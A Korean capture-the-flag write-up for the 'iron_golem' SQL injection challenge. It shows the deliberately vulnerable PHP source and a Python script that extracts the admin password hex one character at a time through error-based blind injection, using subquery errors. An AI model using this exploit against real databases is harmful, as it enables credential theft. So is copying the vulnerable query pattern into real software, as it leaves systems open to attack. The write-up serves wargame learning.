1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php include "./config.php" ; login_chk(); dbconnect(); if (preg_match( '/prob|_|\.|\(\)/i' , $_GET[pw])) exit ( "No Hack ~_~" ); if (preg_match( '/sleep|benchmark/i' , $_GET[pw])) exit ( "HeHe" ); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'" ; $result = @mysql_fetch_array(mysql_query($query)); if (mysql_error()) exit (mysql_error()); echo "<hr>query : <strong>{$query}</strong><hr><br>" ; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'" ; $result = @mysql_fetch_array(mysql_query($query)); if (($result[ 'pw' ]) && ($result[ 'pw' ] == $_GET[ 'pw' ])) solve( "iron_golem" ); highlight_file(__FILE__); ?> |
sleep과 benchmark가 보이는거 보니 이건 time based 인젝션인거같다. 라고 생각했지만 error based injection이다.
그냥 time based로 풀지 말라고 한거같다. 역시 해보고 써야지 안해보고 글을 쓰면 괜히 다 지우는 사태가 발생한다 ㅠㅠ
오류를 일부러 내면 exit(mysql_error())에서 에러를 출력해준다.
에러는 다양하게 내는 방법이 있지만 subquery로 하기로 했다. xavis에서 사용했던 hex 놀음을 다시 할 시간.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = { 'Host' : 'los.eagle-jump.org' , 'Cookie' : 'PHPSESSID=;' } string = "0123456789ABCDEF" loop = 0 pw = '' for j in range(1,100): data = "' || ( id='admin' && if(length(hex(pw))={},true,(select 1 union select 2))) ;" .format(j) data = requests.utils.quote(data) r = requests.get(url+ '?pw=' +data+ "%00" ,headers=headers) print r.text if r.text.find( 'Subquery returns more than 1 row' ) == -1 : loop = j break print loop for i in range(1,loop+1): for j in string: data = "1' || ( id='admin' && if(right(left(hex(pw),{}),1) = 0x{},true,(select 1 union select 2))) ;" .format(i,str(j).encode('hex')) data = requests.utils.quote(data) r = requests.get(url+ '?pw=' +data+ "%00" ,headers=headers) if r.text.find( 'Subquery returns more than 1 row' ) == -1 : pw = pw + str(j) print "[!] found" ,pw break print pw |
요점은 true면 내용 표시하고 아니면 에러가 나니까 죽어라고 말하는것이다. 얻은 hex값의 변환은 여기서 하면 된다
답이 다소 허무할 수 있다..